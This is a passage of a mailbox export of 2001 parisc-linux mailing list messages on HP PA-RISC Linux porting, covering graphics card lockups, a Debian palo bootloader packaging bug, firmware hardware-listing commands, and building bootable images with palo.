> access.log, the drivers.tgz and rescue.bin very retrieved without
> problems. When it tried to extract the rescue.bin, it croaked with a
> message saying "Bad address." When I tried to retrieve the images a
> second time, the installer croaked.

I don't know about this installer problem as i did the install manually
before. After applying the patch, the programs ls, tar, etc started
working OK and i just successfully performed the apt-get update/upgrade
:-)

Cheers,
Jochen





From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Tue, 2 Oct 2001 14:57:01 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20011002145701.B3747@solo.franken.de>
References: <20010921104838.A2049@beavis.ybsoft.com> <3BAF13BC.3090302@hrzpub.tu-darmstadt.de> <20010924215918.A23464@beavis.ybsoft.com> <3BB0BFF9.50708@hrzpub.tu-darmstadt.de> <20010925210035.A22586@solo.franken.de> <3BB8A3FC.7090304@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620556 26865 80.91.229.3 (22 Nov 2014 01:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 06:58:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (A6d12.pppool.de [213.6.109.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC1EE487A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 06:58:53 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f92Cv1V03816;
	Tue, 2 Oct 2001 14:57:01 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB8A3FC.7090304@hrzpub.tu-darmstadt.de>; from rscholz@hrzpub.tu-darmstadt.de on Mon, Oct 01, 2001 at 07:12:28PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12424

On Mon, Oct 01, 2001 at 07:12:28PM +0200, Rdiger Scholz wrote:
> I'm glad i'm not the only one with this problem. And even someone knows 
> the solution for the problem. ;-). I also disabled my add-on card the 
> same way, and then the sti-stuff worked quite fine. But it would be 
> cooler to use the second card, too.

sure, after having fixed the X problem I had with artist/viz-eg cards
I've spend some time looking at HCRX. I've found one problem, when we
load the color for the HCRX, the card locks up, probably because we
do a whole color map load per setcolreg() call. I've changed that
and the card doesn't lock up anymore. But either I get wrong colors
without colormap loading or I have some strange looking stuff "behind"
the normal screen content. It looks like either we need to initialize
the Z-Buffer (I'll try without, when I get home) or some overlay/attribute
planes need a better treatment.

> But you already have a patch? I can only help with testing and a little 
> bit of debugging as all of my fingers are thumbs ;-)

right now I'm not at home (and behind a 28.8k modem connection) and I only
have a C200 with me, which has other STI problems. So it will take a little
bit more time, to get the HCRX going.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug#114145: palo: 1- why on i386?; 2- postinst errors (fwd)
Date: Tue, 02 Oct 2001 08:32:53 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <m15oQbN-000P0fC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620556 26868 80.91.229.3 (22 Nov 2014 01:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 08:32:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B52F485E
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 08:32:55 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id IAA29398
	for <parisc-linux@parisc-linux.org>; Tue, 2 Oct 2001 08:32:54 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15oQbN-000P0fC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Tue, 2 Oct 2001 08:32:53 -0600 (MDT) 
Xref: news.gmane.org gmane.linux.ports.parisc:12425

Anyone want to handle this packaging-related palo problem?  The x86
package is so we can build debian CDs if I remember correctly.

	-P

------- Forwarded Message

Subject: Bug#114145: palo: 1- why on i386?; 2- postinst errors
Reply-To: Lazarus Long <lazarus@overdue.dhis.net>, 114145@bugs.debian.org
From: Lazarus Long <lazarus@overdue.dhis.net>
To: submit@bugs.debian.org
Message-Id: <20011002002132.263457300D@phoenix.overdue.net>
Date: Tue,  2 Oct 2001 00:21:32 +0000 (UTC)

Package: palo
Version: N/A
Severity: important

First problem:
Why would this package be automatically installed on i386 systems?

 Description: Linux boot loader for parisc/hppa
  This package contains the parisc boot loader itself, plus palo which
  is the boot media management tool as lilo is for i386.

This seems inappropriate to be installed on i386, yet it was automatically
chosen for such.



Second problem:
Postinst errors:

Setting up palo (0.94) ...
cannot open dhelp file '/usr/share/doc/palo/html/.dhelp': at /usr/sbin/install-docs line 559.
dpkg: error processing palo (--configure):
 subprocess post-installation script returned error exit status 2
Errors were encountered while processing:
 palo
E: Sub-process /usr/bin/dpkg returned an error code (1)


- -- System Information
Debian Release: post-2.2
Kernel Version: Linux phoenix 2.4.5 #1 Sun May 27 00:48:35 UTC 2001 i586 unknown

------- End of Forwarded Message





From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug#114145: needed for CD building, but lower Priority to normal (fwd)
Date: Tue, 02 Oct 2001 08:38:38 -0600
Lines: 74
Approved: news@gmane.org
Message-ID: <m15oQgw-000P0fC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620556 26872 80.91.229.3 (22 Nov 2014 01:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 08:38:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id A22B7485E
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 08:38:39 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id IAA29698
	for <parisc-linux@parisc-linux.org>; Tue, 2 Oct 2001 08:38:38 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15oQgw-000P0fC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Tue, 2 Oct 2001 08:38:38 -0600 (MDT) 
Xref: news.gmane.org gmane.linux.ports.parisc:12426

More info on the palo thing

------- Forwarded Message

Return-Path: debbugs@master.debian.org
Delivery-Date: Tue Oct  2 02:30:16 2001
Return-Path: <debbugs@master.debian.org>
Received: from localhost (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15oKwQ-000P0dC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <bame@localhost>; Tue, 2 Oct 2001 02:30:14 -0600 (MDT) 
Received: from mail.riverrock.org [199.254.238.2]
	by localhost with IMAP (fetchmail-5.9.0)
	for bame@localhost (single-drop); Tue, 02 Oct 2001 02:30:14 -0600 (MDT)
Received: from master.debian.org (mail@master.debian.org [216.234.231.130])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA15523
	for <bame@riverrock.org>; Tue, 2 Oct 2001 02:28:05 -0600
Received: from debbugs by master.debian.org with local (Exim 3.12 1 (Debian))
	id 15oKkf-0008Lq-00; Tue, 02 Oct 2001 03:18:05 -0500
Subject: Bug#114145: needed for CD building, but lower Priority to normal
Reply-To: Gerfried Fuchs <alfie@ist.org>, 114145@bugs.debian.org
Resent-From: Gerfried Fuchs <alfie@ist.org>
Resent-To: debian-bugs-dist@lists.debian.org
Resent-CC: Paul Bame <bame@debian.org>
Resent-Date: Tue, 02 Oct 2001 08:18:05 GMT
Resent-Message-ID: <handler.114145.B114145.100201020831617@bugs.debian.org>
X-Debian-PR-Message: report 114145
X-Debian-PR-Package: palo
X-Debian-PR-Keywords: 
X-Loop: owner@bugs.debian.org
Received: via spool by 114145-submit@bugs.debian.org id=B114145.100201020831617
          (code B ref 114145); Tue, 02 Oct 2001 08:18:05 GMT
Date: Tue, 2 Oct 2001 10:09:54 +0200
From: Gerfried Fuchs <alfie@ist.org>
To: 114145@bugs.debian.org
Message-ID: <20011002100954.A6116@asgard.priv.at>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Mail-Copies-To: nobody
X-Editor: Vi Improved <http://www.vim.org/>
X-Signature-Color: cyan
X-Signature-Prg: sigd/0.8.2 (Perl) <http://alfie.ist.org/sigd/>
Delivered-To: 114145@bugs.debian.org
Resent-Sender: Debian BTS <debbugs@master.debian.org>

        Hi!

 palo is needed for building the official CD set to be installable for
parsic/hppa.  That's why it is needed on i386.  Only thing that should
be changed is the Priority:  important there makes it install on
default - but on the other hand one installing parsic/hppa would have it
installed from the CD nevertheless - and one having an other
architecture shouldn't be bothered with it nevertheless.

 Mabe a trim in the Architecture string to include just the needed ones
should be thought of, too.  Is there need to have it on sparc, powerpc,
s390 and so on?  I don't think so, but you (the maintainer, not the bug
reporter ;) might know reasons.

 Thanks for the attention,
Alfie
- -- 
 You never learn anything  |   /"""""\                   ,'~~.
   by doing it right.      |  / chaos \  alfie.ist.org   |o ?~\
           -- unknown      |  \inside!/  alfie@ist.org  /_   ~<\
                           |   \_____/                   \__,~ \>

------- End of Forwarded Message





From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mount segfaults and stuff
Date: Tue, 2 Oct 2001 08:18:12 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20011002081811.A9341@tausq.org>
References: <200110020813.EAA31275@mail.lokmail.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620557 26875 80.91.229.3 (22 Nov 2014 01:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 09:18:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEB37484D
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 09:18:16 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id hfixhaaa for parisc-linux@lists.parisc-linux.org; Tue, 2 Oct 2001 08:13:44 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15oRJE-0002Qy-00; Tue, 02 Oct 2001 08:18:12 -0700
Content-Disposition: inline
In-Reply-To: <200110020813.EAA31275@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12427

> Also, I've tried looking at todo list to find something to work on...
> It seems rather outdated and some tasks in it seem to be already
> completed (like unaligned trap handler, etc.). So, where should
> I direct my efforts? What is the part of parisc-linux project, which
> needs immediate attention? ;-).

http://bugs.parisc-linux.org/ has a list of outstanding bugs. the TODO
list items (and more) were moved over there some time ago.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Tue, 2 Oct 2001 09:23:20 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20011002152055.DE860403B@ldl.fc.hp.com>
References: <3BB8F957.C9811C25@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620557 26880 80.91.229.3 (22 Nov 2014 01:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:37 +0000 (UTC)
To: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 09:21:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F9AF48AE
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 09:20:57 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 203FD990; Tue,  2 Oct 2001 11:20:56 -0400 (EDT)
Original-Received: from there (eeyore.fc.hp.com [15.1.54.199])
	by ldl.fc.hp.com (Postfix) with SMTP
	id DE860403B; Tue,  2 Oct 2001 09:20:55 -0600 (MDT)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <3BB8F957.C9811C25@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:12428

>   Finally, PA8x00 is the good choice for all new stuff like A500, B1000,
>   B2000, B2600, C200+, C240+, C3000, C3600, J282, J2240, J5000, J6000,
>   J6700, J7000, K250, K260, K270, K370, K450, K460, K470, K570, L1000,
>   L2000, L3000, N4000, V2200, V2250, V2500.

I think it is unlikely that V2200, V2250, and V2500 will ever be supported.

I'm not very familiar with PDC on most of these machines, but at least on 
Halfdome, you can get a pretty good clue as to what processor to target by 
doing "in fru" at the PDC BCH menu:

  Main Menu: Enter command or menu > in fru

  CELL 0 CPU FRU INFORMATION:             

  Cab/
  Slot/                     Part        Serial    Date Art Scan   FRU   
Specific
  CPU       FRU Name       Number       Number    Code Rev  Rev   
Information
  ----- ---------------- ----------- ------------ ---- --- ---- 
----------------
  0/0/0        Processor A6445-70001 00000000001P          0000   PA8700 
Rev 2.2

Maybe a pointer to similar functionality in other firmware would be useful 
and reduce the dependence on the lists of machines.




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Tue, 2 Oct 2001 17:56:24 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <20011002175624.A32452@dogbert.localdomain>
References: <20011001175425.A31305@dogbert.localdomain> <20011002082429.C1965@silly.cloud.net.au> <20011002012722.B31659@dogbert.localdomain> <20011002204531.A3317@silly.cloud.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Nq2Wo0NMKNjxTN9z"
X-Trace: ger.gmane.org 1416620557 26898 80.91.229.3 (22 Nov 2014 01:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Hamish Moffatt <hamish@cloud.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 09:58:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 835384855
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 09:58:43 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15oRw4-0006PW-00
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Oct 2001 17:58:20 +0200
Original-Received: (qmail 26126 invoked from network); 2 Oct 2001 15:58:19 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 2 Oct 2001 15:58:19 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15oRuC-0008Rk-00; Tue, 02 Oct 2001 17:56:24 +0200
Content-Disposition: inline
In-Reply-To: <20011002204531.A3317@silly.cloud.net.au>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15oRw4-0006PW-00*Em3X6t/ag7Y* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12429

--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

The palo README has some information on this. I quote:

                     Creating ISO9660 Bootable CD-ROMs

   Bootable CDs are often used for installation. In short the process is:
    1. Master your CD image but don't burn it. The image MUST containthe
       kernel(s), iplboot, and ramdisk file (if used).
    2. Run palo to make the image bootable:
        ./palo  -k path/to/vmlinux \
                -b iplboot \
                -c '0/vmlinux ....' \
                -C your-iso-image
       -C   tells   palo   to  prepare  a  CD-ROM  image.  'iplboot' and
       'path/to/vmlinux'  must  be exactly the same files (same contents)
       you  previously  copied  into  the future root file system or palo
       will  fail.  I usually point those paths at the exact files in the
       directory from which I mastered the CD just to be sure.
    3. Burn the CD and boot it.

   CD-ROM support at the moment is a bit of a hack. Here's how it works.

Read the README for some more info. I haven't tried this since my
(probably VERY old) SCSI CD-ROM drive won't read RW discs.

Regards,

Albert

On Tue, 02 Oct 2001, Hamish Moffatt wrote:

> On Tue, Oct 02, 2001 at 01:27:23AM +0200, Albert Strasheim wrote:
> > I've think I've tried to convey the following command to you in about 3
> > different threads across 2 mailing lists :-)
>=20
> Err, yeah, you have. Sorry about that. Thanks for being patient :-)
>=20
> > Get palo-latest.tar.gz (about 62 KB) from puffin.external.hp.com,
> > compile that, cross-compile your kernel and then run the following:
> >=20
> > (linux/ contains the kernel and palo/ contains the bootloader)
> >=20
> > palo/palo/palo -f /dev/null -k linux/vmlinux -r root.bin -s lifimage \
> >   -b palo/iplboot -c "0/linux HOME=3D/ root=3D/dev/ram initrd=3D0/ramdi=
sk"
> >=20
> > What this does is the following:
> >=20
> > palo takes the kernel (vmlinux (with Jurij's patches in my case)), the
> > latest Debian rootdisk (root.bin), puts them together and creates a
> > lifimage for you to boot via rbootd or tftpd (depending on your model).
>=20
> I'd particularly like to boot from CD if possible. The network boot
> is possible, but less convenient. Is it possible (and not unreasonably
> difficult) to create a new CD with the new kernel?
>=20
>=20
> thanks
> Hamish
> --=20
> Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>

--Nq2Wo0NMKNjxTN9z
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7ueOoDg+hOeRZtkMRAi0rAJwN0Rvy/Iucq3NdLa2fg2ZGn5HTvwCfUkX6
WuymHWrodP19wlDlxJpOZu8=
=A7XJ
-----END PGP SIGNATURE-----

--Nq2Wo0NMKNjxTN9z--




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCX-T' in hwdb
Date: Tue, 2 Oct 2001 17:07:13 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20011002170713.B31301@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620558 26906 80.91.229.3 (22 Nov 2014 01:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 10:07:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 180F14855
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 10:07:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15oS4f-0000Sn-00
	for parisc-linux@parisc-linux.org; Tue, 02 Oct 2001 17:07:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12430

in case anyone cares, i finally fixed the PCX-T' link in the hardware
database.  i've only known about it for 18 months or so.. :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mount segfaults and stuff
Date: Tue, 02 Oct 2001 10:41:08 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <200110021641.KAA07601@puffin.external.hp.com>
References: <jurij@lokmail.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620558 26907 80.91.229.3 (22 Nov 2014 01:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 10:44:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B284483A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 10:44:47 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA07601;
	Tue, 2 Oct 2001 10:41:08 -0600
In-Reply-To: Message from Jurij Smakov <jurij@lokmail.net> 
   of "Tue, 02 Oct 2001 04:13:23 EDT." <200110020813.EAA31275@mail.lokmail.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:12431

Jurij Smakov wrote:
> What is the part of parisc-linux project, which
> needs immediate attention? ;-).

*sigh*. Lots of little stuff like floppy driver and hpux binary support.

The TODO list is stale intentionally.
We should be using http://bugs.parisc-linux.org.

grant




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Tue, 02 Oct 2001 11:32:04 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <200110021732.LAA07808@puffin.external.hp.com>
References: <bjorn_helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620558 26912 80.91.229.3 (22 Nov 2014 01:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:38 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 11:35:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51633482A
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 11:35:06 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA07808;
	Tue, 2 Oct 2001 11:32:04 -0600
In-Reply-To: Message from Bjorn Helgaas <bjorn_helgaas@hp.com> 
   of "Tue, 02 Oct 2001 09:23:20 MDT." <20011002152055.DE860403B@ldl.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12432

Bjorn Helgaas wrote:
>   Main Menu: Enter command or menu > in fru
...
> Maybe a pointer to similar functionality in other firmware would be useful 
> and reduce the dependence on the lists of machines.

That's a good idea.  Different generations of machines have different
commands to list the type and revisions of chips/devices installed.
But it's only two or three commands need to be listed.

For newer machines, "in io" at "Main Menu" prompt will list all IO devices.
See "info" menu for more commands. I forgot what the equivalent cmd
was for older machines (eg 712 or 715).

grant




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C110 question
Date: Tue, 02 Oct 2001 11:33:05 -0600
Lines: 79
Approved: news@gmane.org
Message-ID: <200110021733.LAA07820@puffin.external.hp.com>
References: <bheadley@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620558 26917 80.91.229.3 (22 Nov 2014 01:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bheadley@interaccess.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 11:36:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9FAB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 11:36:03 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA07820;
	Tue, 2 Oct 2001 11:33:05 -0600
In-Reply-To: Message from "Bryan W. Headley" <bheadley@interaccess.com> 
   of "Tue, 02 Oct 2001 09:50:59 CDT." <3BB9D453.3050308@interaccess.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12433

Bryan,
